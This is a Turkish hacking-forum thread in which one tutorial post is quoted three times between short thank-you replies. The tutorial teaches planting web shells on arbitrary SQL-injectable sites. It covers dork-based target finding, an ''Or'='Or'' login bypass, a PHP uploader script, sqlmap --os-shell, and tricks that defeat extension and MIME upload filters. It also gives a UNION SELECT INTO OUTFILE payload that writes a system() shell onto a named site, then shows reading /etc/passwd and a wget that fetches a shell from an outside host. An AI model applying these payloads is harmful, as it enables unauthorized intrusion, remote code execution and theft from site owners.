Emeğinize sağlık <3
Hepinize selamlar arkadaşlar bu konumuzda SQL açığı bulunan hedef siteye nasıl shell atabiliriz bunu göstereceğim. Öncelikle shell atmanın birkaç yöntemi var. Siz istediğiniz yöntemi kullanabilirsiniz. Yada olmadıysa diğer yöntemi kullanarak da shell atabilirsiniz.
Ancak shell atabilmek için hedef sitemizin admin bilgilerine ve paneline ihtiyacımız var. SQL açığını sömürmeyi, admin bilgilerini almayı, panel bulmayı vb. zaten bu konumuzda geniş ve detaylı anlatımımızla anlatmıştık. Dileyen okuyabilir;
Okumak İçin Tıklayınız
Manuel SQL ile ilk verileri alırız ardından da paneli bulup shell atabiliriz. Admin panelinde takılanlar için admin panel bypass yöntemini de göstereceğim. Yada SQLMap aracını kullanarak da atabiliriz. Tabi her iki yöntem içinde ayrı yetkiler gerekebilir.
1. Yöntem
İlk olarak hedef site bulalım.
Google'a gelip " inurl:admin/login.php " dorkumu aratıyorum.
Karşıma pek çok site geliyor.
Bu sitelerden herhangi birini seçiyorum.
Zaten direkt admin paneline bizi yönlendirecek. Fakat admin bilgilerini bilmiyoruz. İşte asıl mesele de tam olarak burası.
Username ve password kısmına da aynı kodu yazıyorum. Bu bypass kodumuz. Bu kodlar değişkenlik gösterebilir illa ki bunu kullanmak zorunda değilsiniz.
''Or'='Or''
Kodumuzu yazdıktan sonra login diyorum.
Login dedikten sonra sorunsuz bir şekilde admin paneline giriş yaptık. Burada dosya yükleme butonu olduğundan buradan shellimizi yükleyip atabiliriz.
Ben shellimi attım fakat kabul etmedi ne yapmalıyım? derseniz onun da kolay bir yöntemi var.
Shellinizi .php değilde .txt olan kodlarını deneyin. Bu genelde wordpress sitelerde yüksek ihtimal olur. Veya uzantısını değiştirerek .gif , .jpeg vb. yapabilirsiniz.
Yada basit bir uploader scripti yüklemeyi deneyin ve daha sonra bu yüklediğiniz upload script ile shell dosyanızı upload etmeye çalışın. Örnek bir upload script kodu aşağıdadır.
HTML:<!DOCTYPE html> <html> <head> <title>Upload your files</title> </head> <bOdy> <form enctype="multipart/form-data" action="upload.php" method="POST"> <p>Upload your file</p> <input type="file" name="uploaded_file"></input><br /> <input type="submit" value="Upload"></input> </form> </bOdy> </html> <?PHP if(!empty($_FILES[’uploaded_file’])) { $path = "uploads/"; $path = $path . basename( $_FILES[’uploaded_file’][’name’]); if(move_uploaded_file($_FILES[’uploaded_file’][’tmp_name’], $path)) { echo "The file ". basename( $_FILES[’uploaded_file’][’name’]). " has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } ?>
Upload scriptimizi yükleyerek shellimizi atabiliriz. Bu sayede güvenlik duvarını atlatırız. Bu scriptimizde zararlı birşey olmadığı için kabul edilecektir. Bu sayede shell de dahil zararlı yazılımlar enjekte edilebilir.
2. Yöntem
Hedef sitemize shell atmada bize yardımcı olacak araçlardan birisi de SQLMap aracıdır. Bu araç sayesinde databaseleri çekebilir, admin bilgilerine ulaşabilir ve shell atabiliriz.
İlk başta bir sql açıklı site bulduk ve bu açıklı sitemize shell sokmak istiyoruz. Öncelikle Sitemizin Sql İnjection Açığından Faydalanarak Sqlmap ile Databaseye girdik.
Daha Sonra --dbs kısmını silip --os-shell komutu yazalım.
Karşımıza 4 Seçenekli Bir Soru geldi.
Which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
Kısaca Bu Web Sitesi Hangi Dil İle Kodlanmış diyor bizim sitemiz php ile kodlandığı için 4 Numaralı Seçenek olan PHP‘yi seçiyorum siz bu işlemi başka bir siteye uyguladığınızda Sitenin yazılım dili değişkenlik gösterebilir.
Gördüğünüz gibi Kendisi Tek Tek Deneyerek Shelli Upload Etti.
Bize verilen linke tıkladığımızda bizi shell yükleme kısmına gönderiyor. Buradan shell upload edebiliriz. Upload edilememe gibi bir hata ile karşılaşmayız çünkü bu upload kısmı sitenin değil sqlmap aracımız ile yüklediğimiz upload scriptidir. Bu nedenle sorunsuz bir şekilde shell veya zararlı yazılım enjekte edilebilir.
Ekran görüntüsü;
Sonra bize;
do you want to retrieve the command standard output?
yani;
komut standart çıktısını almak istiyor musunuz?
diyor. Y diyerek devam edelim. Bu bize shell yükleme kısımlarını gösterir.
İstediğimiz yere istediğimiz dizine shellimizi upload edebiliriz. Yüklediğimiz shellimizi sorunsuz olarak çalıştırabiliriz.
Yüklediğimiz shellden görüntü;
Bu method http sitelerde yüksek ihtimal işe yarar genelde koruma vb. bulunmaz ve rahatlıkla shell atılabilir, olmama ihtimali nadirdir. Https siteler için de denenebilir ama aracımız sabit yöntemleri denediğinden başarısız olma ihtimali de mevcut.
Bu nedenle manuel olarak shell atmak her zaman daha iyidir. Fakat bu yöntem de kullanılabilir.
3. Yöntem
Diğer bir bypass ve shell yükleme yöntemimiz ise diyelim ki hedef sitemizin admin paneline girdik fakat shell atılmaya izin verilmiyor yada engelleniyor. Shell kodlarını denedik veyahut uzantı değiştirdik ancak gene de kabul edilmedi.
O zaman firebug eklentisini deneyebilirsiniz;
Firebug eklentisi ne oluyor diyecek olursanız firebug eklentisi burp suite yada kali linuxda hedef siteyi detaylıca incelememize yardımcı olan ve gerekirse de kodlarıyla oynarak dosya yüklememize izin veren kullanıma uygun ve bir o kadar da elverişli bir eklentidir.
Bazı durumlarda shell yükleyeceğiniz site sunucu taraflı güvenlik yerine istemci taraflı güvenlik filtreleri çalışır. Bu gibi bir durumla karşılaşırsanız Mozilla için Firebug eklentisini indirip kurun ve upload html dosyasını aşağıdaki gibi düzenleyin.
HTML:<form enctype=\\"multipart/form-data\\" action=\\"uploader.php\\" method=\\"POST\\"> Upload DRP File: <input name=\\"Upload Saved Replay\\" type=\\"file\\" accept=\\"*.jpg\\"/><br /> <input type=\\"submit\\" value=\\"Upload File\\" /> </form>
buradaki accept=\\"*.jpg\\ kısmını accept=\\"*.*\\ olarak değiştirip kayıt edin bu şekilde uzantı kontrolünü bypass edip shellinizi yükleyebilirsiniz.
Firebug Eklentisi İndirip Kurmak ve Kullanabilmek İçin Tıklayınız
4. Yöntem
4. shell yükleme yöntemimizde ise shellimizi resim formatında sunucuyu kandırarak resim gibi yükleyebiliriz.
Bunun için;
bazen serverı bypass ederken yine Mozilla’nın Tamper eklentisinden yararlanılır. Bunun için store’den tamper data eklentisini kurun. Tamper eklentisi dosya yüklememize imkan sağlayan bir eklentidir.
daha sonra shell atmak istediğiniz siteye gidin ve start tamper eklentisini çalıştırın.
daha sonra shellinizi upload edin. daha sonra Continue tampering ekranı gelecek tamper butonuna basarak devam edin.
gelen ekrandan post data kısmındaki verilerin içinden application/octet-stream kısmını bulup burayı image/gif yada image/jpg olarak değiştirin daha sonra submit butonuna tıklayarak devam edin bu yolla shellinizi resim dosya gibi sunucuya yükleyebilirsiniz.
Tamper eklentisinin chrome gibi farklı tarayıcılar için de versiyonları bulunmaktadır onları da indirip kullanabilirsiniz.
Bu bağlantıyı da ziyaret edebilirsiniz;
Tamper Data Hakkında Daha Fazla Bilgi İçin Tıklayınız
5. Yöntem
5. ve son yöntemimizde ise sql açıklı sitemizde yazma yetkisi izni var mı yok mu buna bakacağız, var ise shellimizi upload edeceğiz.
SQL açıklı herhangi bir site bulup deneyelim.
Sitemizi bulduktan sonra kolon sayısını bulalım ve ekrana yazdıralım.
Bir sonraki işlem olarak DB adını öğrenelim.
DB isminin mattat_mattat olduğunu öğrendik. Şimdi DB userimize bakalım.
DB userimiz olan mattat_mattat@localhost ekrana yazdırdık. Database ile ilgili gerekli bilgileri aldık.
Şimdi file_priv komutunu kullanacağız. Peki bu ne demek?
file_priv sunucuda dosya okuma yazma işlemlerinde kullandığımız komutlardır.
Yani bu şekilde;
mattat.co.il/show_img.php?id=-27+union+select+1,file_priv mysql.user where='mattat_mattat'--
Komutumuzu yazdıktan sonra dizini bulmamız gerek, ' işaretini koyduğumuz zaman dizinimizi görmüştük;
/home/mattat/public_html/show_img.php
dizinin bulunmasının ardından bu komutu yazıyoruz;
http://www.mattat.co.il/show_img.php?id=-27+union+select+1,"<?system($_REQUEST['cmd']);?>"
into outfile '/home/mattat/public_html/show_img.php--
önemli kısıma geldik. başarılı olup olmadığımızı anlayacağız.
bu komutlardan herhnagi birini yazarak sorgulama gerçekleştirelim;
mattat.co.il/show_img.php?id=cat /etc/passwd
mattat.co.il/show_img.php?id=cat /named.conf
mattat.co.il/show_img.php?id=cat /httpd/httpd.conf
ekrana yansıtmayı başardık. daha sonra shell atmaya sıra geldi.
Bunun için wget komutunu kullanacağız.
mattat.co.il/show_img.php?id=wget -O http://shell-sitenizi-yazın/up.txt cw.php
shell sitesi bulup o adresi yazın. siteden istenilen shelli oto olarak çekip yazdıracağız.
shellimizin ismini cw.php olarak yazdırdık.
adrese gidelim;
görüldüğü üzere başarılı bir şekilde shell upload işlemimiz gerçekleşti.
ek olarak yardımcı olması adına komutlarımız;
Select_priv : Kayıtları okuma
Insert_priv : Kayıt ekleme
Update_priv : Kayıt değiştirme/güncelleme
Delete_priv : Kayıt silme
Create_priv : Veritabanı/tablo yaratma
Drop_priv : Veritabanı/tablo kaldırma
Reload_priv : MySQLi yeniden başlatma
Shutdown_priv : MySQLi kapatma
Process_priv : MySQLde çalışan işlemleri takip etme
File_priv : Sunucudan dosya okuyup / yazma
Grant_priv : Başka kullanıcılara yetki verme
Index_priv : Indeks yaratma, değiştirme, silme
Alter_priv : Tablo ya da veritabanının yapısını değiştirme
Show_db_priv : Veritabanı listeleme
Lock_tables_priv : Tablo kitleme
Max_questions : Bir saat içinde yapılabilecek enfazla sorgu sayısı
Max_updates : Bir saat içinde yapılabilecek en fazla güncelleme sorgusu sayısı
Max_connections : Bir saat içinde yapılabilecek en fazla bağlantı sayısı
Genel olarak yöntemler ve methodlar bu şekildedir arkadaşlar.
Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...
Hocam ellerinize sağlık ayrıntılı ve güzel bir konu olmuş.
Hepinize selamlar arkadaşlar bu konumuzda SQL açığı bulunan hedef siteye nasıl shell atabiliriz bunu göstereceğim. Öncelikle shell atmanın birkaç yöntemi var. Siz istediğiniz yöntemi kullanabilirsiniz. Yada olmadıysa diğer yöntemi kullanarak da shell atabilirsiniz.
Ancak shell atabilmek için hedef sitemizin admin bilgilerine ve paneline ihtiyacımız var. SQL açığını sömürmeyi, admin bilgilerini almayı, panel bulmayı vb. zaten bu konumuzda geniş ve detaylı anlatımımızla anlatmıştık. Dileyen okuyabilir;
Okumak İçin Tıklayınız
Manuel SQL ile ilk verileri alırız ardından da paneli bulup shell atabiliriz. Admin panelinde takılanlar için admin panel bypass yöntemini de göstereceğim. Yada SQLMap aracını kullanarak da atabiliriz. Tabi her iki yöntem içinde ayrı yetkiler gerekebilir.
1. Yöntem
İlk olarak hedef site bulalım.
Google'a gelip " inurl:admin/login.php " dorkumu aratıyorum.
Karşıma pek çok site geliyor.
Bu sitelerden herhangi birini seçiyorum.
Zaten direkt admin paneline bizi yönlendirecek. Fakat admin bilgilerini bilmiyoruz. İşte asıl mesele de tam olarak burası.
Username ve password kısmına da aynı kodu yazıyorum. Bu bypass kodumuz. Bu kodlar değişkenlik gösterebilir illa ki bunu kullanmak zorunda değilsiniz.
''Or'='Or''
Kodumuzu yazdıktan sonra login diyorum.
Login dedikten sonra sorunsuz bir şekilde admin paneline giriş yaptık. Burada dosya yükleme butonu olduğundan buradan shellimizi yükleyip atabiliriz.
Ben shellimi attım fakat kabul etmedi ne yapmalıyım? derseniz onun da kolay bir yöntemi var.
Shellinizi .php değilde .txt olan kodlarını deneyin. Bu genelde wordpress sitelerde yüksek ihtimal olur. Veya uzantısını değiştirerek .gif , .jpeg vb. yapabilirsiniz.
Yada basit bir uploader scripti yüklemeyi deneyin ve daha sonra bu yüklediğiniz upload script ile shell dosyanızı upload etmeye çalışın. Örnek bir upload script kodu aşağıdadır.
HTML:<!DOCTYPE html> <html> <head> <title>Upload your files</title> </head> <bOdy> <form enctype="multipart/form-data" action="upload.php" method="POST"> <p>Upload your file</p> <input type="file" name="uploaded_file"></input><br /> <input type="submit" value="Upload"></input> </form> </bOdy> </html> <?PHP if(!empty($_FILES[’uploaded_file’])) { $path = "uploads/"; $path = $path . basename( $_FILES[’uploaded_file’][’name’]); if(move_uploaded_file($_FILES[’uploaded_file’][’tmp_name’], $path)) { echo "The file ". basename( $_FILES[’uploaded_file’][’name’]). " has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } ?>
Upload scriptimizi yükleyerek shellimizi atabiliriz. Bu sayede güvenlik duvarını atlatırız. Bu scriptimizde zararlı birşey olmadığı için kabul edilecektir. Bu sayede shell de dahil zararlı yazılımlar enjekte edilebilir.
2. Yöntem
Hedef sitemize shell atmada bize yardımcı olacak araçlardan birisi de SQLMap aracıdır. Bu araç sayesinde databaseleri çekebilir, admin bilgilerine ulaşabilir ve shell atabiliriz.
İlk başta bir sql açıklı site bulduk ve bu açıklı sitemize shell sokmak istiyoruz. Öncelikle Sitemizin Sql İnjection Açığından Faydalanarak Sqlmap ile Databaseye girdik.
Daha Sonra --dbs kısmını silip --os-shell komutu yazalım.
Karşımıza 4 Seçenekli Bir Soru geldi.
Which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
Kısaca Bu Web Sitesi Hangi Dil İle Kodlanmış diyor bizim sitemiz php ile kodlandığı için 4 Numaralı Seçenek olan PHP‘yi seçiyorum siz bu işlemi başka bir siteye uyguladığınızda Sitenin yazılım dili değişkenlik gösterebilir.
Gördüğünüz gibi Kendisi Tek Tek Deneyerek Shelli Upload Etti.
Bize verilen linke tıkladığımızda bizi shell yükleme kısmına gönderiyor. Buradan shell upload edebiliriz. Upload edilememe gibi bir hata ile karşılaşmayız çünkü bu upload kısmı sitenin değil sqlmap aracımız ile yüklediğimiz upload scriptidir. Bu nedenle sorunsuz bir şekilde shell veya zararlı yazılım enjekte edilebilir.
Ekran görüntüsü;
Sonra bize;
do you want to retrieve the command standard output?
yani;
komut standart çıktısını almak istiyor musunuz?
diyor. Y diyerek devam edelim. Bu bize shell yükleme kısımlarını gösterir.
İstediğimiz yere istediğimiz dizine shellimizi upload edebiliriz. Yüklediğimiz shellimizi sorunsuz olarak çalıştırabiliriz.
Yüklediğimiz shellden görüntü;
Bu method http sitelerde yüksek ihtimal işe yarar genelde koruma vb. bulunmaz ve rahatlıkla shell atılabilir, olmama ihtimali nadirdir. Https siteler için de denenebilir ama aracımız sabit yöntemleri denediğinden başarısız olma ihtimali de mevcut.
Bu nedenle manuel olarak shell atmak her zaman daha iyidir. Fakat bu yöntem de kullanılabilir.
3. Yöntem
Diğer bir bypass ve shell yükleme yöntemimiz ise diyelim ki hedef sitemizin admin paneline girdik fakat shell atılmaya izin verilmiyor yada engelleniyor. Shell kodlarını denedik veyahut uzantı değiştirdik ancak gene de kabul edilmedi.
O zaman firebug eklentisini deneyebilirsiniz;
Firebug eklentisi ne oluyor diyecek olursanız firebug eklentisi burp suite yada kali linuxda hedef siteyi detaylıca incelememize yardımcı olan ve gerekirse de kodlarıyla oynarak dosya yüklememize izin veren kullanıma uygun ve bir o kadar da elverişli bir eklentidir.
Bazı durumlarda shell yükleyeceğiniz site sunucu taraflı güvenlik yerine istemci taraflı güvenlik filtreleri çalışır. Bu gibi bir durumla karşılaşırsanız Mozilla için Firebug eklentisini indirip kurun ve upload html dosyasını aşağıdaki gibi düzenleyin.
HTML:<form enctype=\\"multipart/form-data\\" action=\\"uploader.php\\" method=\\"POST\\"> Upload DRP File: <input name=\\"Upload Saved Replay\\" type=\\"file\\" accept=\\"*.jpg\\"/><br /> <input type=\\"submit\\" value=\\"Upload File\\" /> </form>
buradaki accept=\\"*.jpg\\ kısmını accept=\\"*.*\\ olarak değiştirip kayıt edin bu şekilde uzantı kontrolünü bypass edip shellinizi yükleyebilirsiniz.
Firebug Eklentisi İndirip Kurmak ve Kullanabilmek İçin Tıklayınız
4. Yöntem
4. shell yükleme yöntemimizde ise shellimizi resim formatında sunucuyu kandırarak resim gibi yükleyebiliriz.
Bunun için;
bazen serverı bypass ederken yine Mozilla’nın Tamper eklentisinden yararlanılır. Bunun için store’den tamper data eklentisini kurun. Tamper eklentisi dosya yüklememize imkan sağlayan bir eklentidir.
daha sonra shell atmak istediğiniz siteye gidin ve start tamper eklentisini çalıştırın.
daha sonra shellinizi upload edin. daha sonra Continue tampering ekranı gelecek tamper butonuna basarak devam edin.
gelen ekrandan post data kısmındaki verilerin içinden application/octet-stream kısmını bulup burayı image/gif yada image/jpg olarak değiştirin daha sonra submit butonuna tıklayarak devam edin bu yolla shellinizi resim dosya gibi sunucuya yükleyebilirsiniz.
Tamper eklentisinin chrome gibi farklı tarayıcılar için de versiyonları bulunmaktadır onları da indirip kullanabilirsiniz.
Bu bağlantıyı da ziyaret edebilirsiniz;
Tamper Data Hakkında Daha Fazla Bilgi İçin Tıklayınız
5. Yöntem
5. ve son yöntemimizde ise sql açıklı sitemizde yazma yetkisi izni var mı yok mu buna bakacağız, var ise shellimizi upload edeceğiz.
SQL açıklı herhangi bir site bulup deneyelim.
Sitemizi bulduktan sonra kolon sayısını bulalım ve ekrana yazdıralım.
Bir sonraki işlem olarak DB adını öğrenelim.
DB isminin mattat_mattat olduğunu öğrendik. Şimdi DB userimize bakalım.
DB userimiz olan mattat_mattat@localhost ekrana yazdırdık. Database ile ilgili gerekli bilgileri aldık.
Şimdi file_priv komutunu kullanacağız. Peki bu ne demek?
file_priv sunucuda dosya okuma yazma işlemlerinde kullandığımız komutlardır.
Yani bu şekilde;
mattat.co.il/show_img.php?id=-27+union+select+1,file_priv mysql.user where='mattat_mattat'--
Komutumuzu yazdıktan sonra dizini bulmamız gerek, ' işaretini koyduğumuz zaman dizinimizi görmüştük;
/home/mattat/public_html/show_img.php
dizinin bulunmasının ardından bu komutu yazıyoruz;
http://www.mattat.co.il/show_img.php?id=-27+union+select+1,"<?system($_REQUEST['cmd']);?>"
into outfile '/home/mattat/public_html/show_img.php--
önemli kısıma geldik. başarılı olup olmadığımızı anlayacağız.
bu komutlardan herhnagi birini yazarak sorgulama gerçekleştirelim;
mattat.co.il/show_img.php?id=cat /etc/passwd
mattat.co.il/show_img.php?id=cat /named.conf
mattat.co.il/show_img.php?id=cat /httpd/httpd.conf
ekrana yansıtmayı başardık. daha sonra shell atmaya sıra geldi.
Bunun için wget komutunu kullanacağız.
mattat.co.il/show_img.php?id=wget -O http://shell-sitenizi-yazın/up.txt cw.php
shell sitesi bulup o adresi yazın. siteden istenilen shelli oto olarak çekip yazdıracağız.
shellimizin ismini cw.php olarak yazdırdık.
adrese gidelim;
görüldüğü üzere başarılı bir şekilde shell upload işlemimiz gerçekleşti.
ek olarak yardımcı olması adına komutlarımız;
Select_priv : Kayıtları okuma
Insert_priv : Kayıt ekleme
Update_priv : Kayıt değiştirme/güncelleme
Delete_priv : Kayıt silme
Create_priv : Veritabanı/tablo yaratma
Drop_priv : Veritabanı/tablo kaldırma
Reload_priv : MySQLi yeniden başlatma
Shutdown_priv : MySQLi kapatma
Process_priv : MySQLde çalışan işlemleri takip etme
File_priv : Sunucudan dosya okuyup / yazma
Grant_priv : Başka kullanıcılara yetki verme
Index_priv : Indeks yaratma, değiştirme, silme
Alter_priv : Tablo ya da veritabanının yapısını değiştirme
Show_db_priv : Veritabanı listeleme
Lock_tables_priv : Tablo kitleme
Max_questions : Bir saat içinde yapılabilecek enfazla sorgu sayısı
Max_updates : Bir saat içinde yapılabilecek en fazla güncelleme sorgusu sayısı
Max_connections : Bir saat içinde yapılabilecek en fazla bağlantı sayısı
Genel olarak yöntemler ve methodlar bu şekildedir arkadaşlar.
Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...
elinize sağlık hocam oldukça detaylı ve yararlı.
Hepinize selamlar arkadaşlar bu konumuzda SQL açığı bulunan hedef siteye nasıl shell atabiliriz bunu göstereceğim. Öncelikle shell atmanın birkaç yöntemi var. Siz istediğiniz yöntemi kullanabilirsiniz. Yada olmadıysa diğer yöntemi kullanarak da shell atabilirsiniz.
Ancak shell atabilmek için hedef sitemizin admin bilgilerine ve paneline ihtiyacımız var. SQL açığını sömürmeyi, admin bilgilerini almayı, panel bulmayı vb. zaten bu konumuzda geniş ve detaylı anlatımımızla anlatmıştık. Dileyen okuyabilir;
Okumak İçin Tıklayınız
Manuel SQL ile ilk verileri alırız ardından da paneli bulup shell atabiliriz. Admin panelinde takılanlar için admin panel bypass yöntemini de göstereceğim. Yada SQLMap aracını kullanarak da atabiliriz. Tabi her iki yöntem içinde ayrı yetkiler gerekebilir.
1. Yöntem
İlk olarak hedef site bulalım.
Google'a gelip " inurl:admin/login.php " dorkumu aratıyorum.
Karşıma pek çok site geliyor.
Bu sitelerden herhangi birini seçiyorum.
Zaten direkt admin paneline bizi yönlendirecek. Fakat admin bilgilerini bilmiyoruz. İşte asıl mesele de tam olarak burası.
Username ve password kısmına da aynı kodu yazıyorum. Bu bypass kodumuz. Bu kodlar değişkenlik gösterebilir illa ki bunu kullanmak zorunda değilsiniz.
''Or'='Or''
Kodumuzu yazdıktan sonra login diyorum.
Login dedikten sonra sorunsuz bir şekilde admin paneline giriş yaptık. Burada dosya yükleme butonu olduğundan buradan shellimizi yükleyip atabiliriz.
Ben shellimi attım fakat kabul etmedi ne yapmalıyım? derseniz onun da kolay bir yöntemi var.
Shellinizi .php değilde .txt olan kodlarını deneyin. Bu genelde wordpress sitelerde yüksek ihtimal olur. Veya uzantısını değiştirerek .gif , .jpeg vb. yapabilirsiniz.
Yada basit bir uploader scripti yüklemeyi deneyin ve daha sonra bu yüklediğiniz upload script ile shell dosyanızı upload etmeye çalışın. Örnek bir upload script kodu aşağıdadır.
HTML:<!DOCTYPE html> <html> <head> <title>Upload your files</title> </head> <bOdy> <form enctype="multipart/form-data" action="upload.php" method="POST"> <p>Upload your file</p> <input type="file" name="uploaded_file"></input><br /> <input type="submit" value="Upload"></input> </form> </bOdy> </html> <?PHP if(!empty($_FILES[’uploaded_file’])) { $path = "uploads/"; $path = $path . basename( $_FILES[’uploaded_file’][’name’]); if(move_uploaded_file($_FILES[’uploaded_file’][’tmp_name’], $path)) { echo "The file ". basename( $_FILES[’uploaded_file’][’name’]). " has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } ?>
Upload scriptimizi yükleyerek shellimizi atabiliriz. Bu sayede güvenlik duvarını atlatırız. Bu scriptimizde zararlı birşey olmadığı için kabul edilecektir. Bu sayede shell de dahil zararlı yazılımlar enjekte edilebilir.
2. Yöntem
Hedef sitemize shell atmada bize yardımcı olacak araçlardan birisi de SQLMap aracıdır. Bu araç sayesinde databaseleri çekebilir, admin bilgilerine ulaşabilir ve shell atabiliriz.
İlk başta bir sql açıklı site bulduk ve bu açıklı sitemize shell sokmak istiyoruz. Öncelikle Sitemizin Sql İnjection Açığından Faydalanarak Sqlmap ile Databaseye girdik.
Daha Sonra --dbs kısmını silip --os-shell komutu yazalım.
Karşımıza 4 Seçenekli Bir Soru geldi.
Which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
Kısaca Bu Web Sitesi Hangi Dil İle Kodlanmış diyor bizim sitemiz php ile kodlandığı için 4 Numaralı Seçenek olan PHP‘yi seçiyorum siz bu işlemi başka bir siteye uyguladığınızda Sitenin yazılım dili değişkenlik gösterebilir.
Gördüğünüz gibi Kendisi Tek Tek Deneyerek Shelli Upload Etti.
Bize verilen linke tıkladığımızda bizi shell yükleme kısmına gönderiyor. Buradan shell upload edebiliriz. Upload edilememe gibi bir hata ile karşılaşmayız çünkü bu upload kısmı sitenin değil sqlmap aracımız ile yüklediğimiz upload scriptidir. Bu nedenle sorunsuz bir şekilde shell veya zararlı yazılım enjekte edilebilir.
Ekran görüntüsü;
Sonra bize;
do you want to retrieve the command standard output?
yani;
komut standart çıktısını almak istiyor musunuz?
diyor. Y diyerek devam edelim. Bu bize shell yükleme kısımlarını gösterir.
İstediğimiz yere istediğimiz dizine shellimizi upload edebiliriz. Yüklediğimiz shellimizi sorunsuz olarak çalıştırabiliriz.
Yüklediğimiz shellden görüntü;
Bu method http sitelerde yüksek ihtimal işe yarar genelde koruma vb. bulunmaz ve rahatlıkla shell atılabilir, olmama ihtimali nadirdir. Https siteler için de denenebilir ama aracımız sabit yöntemleri denediğinden başarısız olma ihtimali de mevcut.
Bu nedenle manuel olarak shell atmak her zaman daha iyidir. Fakat bu yöntem de kullanılabilir.
3. Yöntem
Diğer bir bypass ve shell yükleme yöntemimiz ise diyelim ki hedef sitemizin admin paneline girdik fakat shell atılmaya izin verilmiyor yada engelleniyor. Shell kodlarını denedik veyahut uzantı değiştirdik ancak gene de kabul edilmedi.
O zaman firebug eklentisini deneyebilirsiniz;
Firebug eklentisi ne oluyor diyecek olursanız firebug eklentisi burp suite yada kali linuxda hedef siteyi detaylıca incelememize yardımcı olan ve gerekirse de kodlarıyla oynarak dosya yüklememize izin veren kullanıma uygun ve bir o kadar da elverişli bir eklentidir.
Bazı durumlarda shell yükleyeceğiniz site sunucu taraflı güvenlik yerine istemci taraflı güvenlik filtreleri çalışır. Bu gibi bir durumla karşılaşırsanız Mozilla için Firebug eklentisini indirip kurun ve upload html dosyasını aşağıdaki gibi düzenleyin.
HTML:<form enctype=\\"multipart/form-data\\" action=\\"uploader.php\\" method=\\"POST\\"> Upload DRP File: <input name=\\"Upload Saved Replay\\" type=\\"file\\" accept=\\"*.jpg\\"/><br /> <input type=\\"submit\\" value=\\"Upload File\\" /> </form>
buradaki accept=\\"*.jpg\\ kısmını accept=\\"*.*\\ olarak değiştirip kayıt edin bu şekilde uzantı kontrolünü bypass edip shellinizi yükleyebilirsiniz.
Firebug Eklentisi İndirip Kurmak ve Kullanabilmek İçin Tıklayınız
4. Yöntem
4. shell yükleme yöntemimizde ise shellimizi resim formatında sunucuyu kandırarak resim gibi yükleyebiliriz.
Bunun için;
bazen serverı bypass ederken yine Mozilla’nın Tamper eklentisinden yararlanılır. Bunun için store’den tamper data eklentisini kurun. Tamper eklentisi dosya yüklememize imkan sağlayan bir eklentidir.
daha sonra shell atmak istediğiniz siteye gidin ve start tamper eklentisini çalıştırın.
daha sonra shellinizi upload edin. daha sonra Continue tampering ekranı gelecek tamper butonuna basarak devam edin.
gelen ekrandan post data kısmındaki verilerin içinden application/octet-stream kısmını bulup burayı image/gif yada image/jpg olarak değiştirin daha sonra submit butonuna tıklayarak devam edin bu yolla shellinizi resim dosya gibi sunucuya yükleyebilirsiniz.
Tamper eklentisinin chrome gibi farklı tarayıcılar için de versiyonları bulunmaktadır onları da indirip kullanabilirsiniz.
Bu bağlantıyı da ziyaret edebilirsiniz;
Tamper Data Hakkında Daha Fazla Bilgi İçin Tıklayınız
5. Yöntem
5. ve son yöntemimizde ise sql açıklı sitemizde yazma yetkisi izni var mı yok mu buna bakacağız, var ise shellimizi upload edeceğiz.
SQL açıklı herhangi bir site bulup deneyelim.
Sitemizi bulduktan sonra kolon sayısını bulalım ve ekrana yazdıralım.
Bir sonraki işlem olarak DB adını öğrenelim.
DB isminin mattat_mattat olduğunu öğrendik. Şimdi DB userimize bakalım.
DB userimiz olan mattat_mattat@localhost ekrana yazdırdık. Database ile ilgili gerekli bilgileri aldık.
Şimdi file_priv komutunu kullanacağız. Peki bu ne demek?
file_priv sunucuda dosya okuma yazma işlemlerinde kullandığımız komutlardır.
Yani bu şekilde;
mattat.co.il/show_img.php?id=-27+union+select+1,file_priv mysql.user where='mattat_mattat'--
Komutumuzu yazdıktan sonra dizini bulmamız gerek, ' işaretini koyduğumuz zaman dizinimizi görmüştük;
/home/mattat/public_html/show_img.php
dizinin bulunmasının ardından bu komutu yazıyoruz;
http://www.mattat.co.il/show_img.php?id=-27+union+select+1,"<?system($_REQUEST['cmd']);?>"
into outfile '/home/mattat/public_html/show_img.php--
önemli kısıma geldik. başarılı olup olmadığımızı anlayacağız.
bu komutlardan herhnagi birini yazarak sorgulama gerçekleştirelim;
mattat.co.il/show_img.php?id=cat /etc/passwd
mattat.co.il/show_img.php?id=cat /named.conf
mattat.co.il/show_img.php?id=cat /httpd/httpd.conf
ekrana yansıtmayı başardık. daha sonra shell atmaya sıra geldi.
Bunun için wget komutunu kullanacağız.
mattat.co.il/show_img.php?id=wget -O http://shell-sitenizi-yazın/up.txt cw.php
shell sitesi bulup o adresi yazın. siteden istenilen shelli oto olarak çekip yazdıracağız.
shellimizin ismini cw.php olarak yazdırdık.
adrese gidelim;
görüldüğü üzere başarılı bir şekilde shell upload işlemimiz gerçekleşti.
ek olarak yardımcı olması adına komutlarımız;
Select_priv : Kayıtları okuma
Insert_priv : Kayıt ekleme
Update_priv : Kayıt değiştirme/güncelleme
Delete_priv : Kayıt silme
Create_priv : Veritabanı/tablo yaratma
Drop_priv : Veritabanı/tablo kaldırma
Reload_priv : MySQLi yeniden başlatma
Shutdown_priv : MySQLi kapatma
Process_priv : MySQLde çalışan işlemleri takip etme
File_priv : Sunucudan dosya okuyup / yazma
Grant_priv : Başka kullanıcılara yetki verme
Index_priv : Indeks yaratma, değiştirme, silme
Alter_priv : Tablo ya da veritabanının yapısını değiştirme
Show_db_priv : Veritabanı listeleme
Lock_tables_priv : Tablo kitleme
Max_questions : Bir saat içinde yapılabilecek enfazla sorgu sayısı
Max_updates : Bir saat içinde yapılabilecek en fazla güncelleme sorgusu sayısı
Max_connections : Bir saat içinde yapılabilecek en fazla bağlantı sayısı
Genel olarak yöntemler ve methodlar bu şekildedir arkadaşlar.
Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...
Elinize sağlık
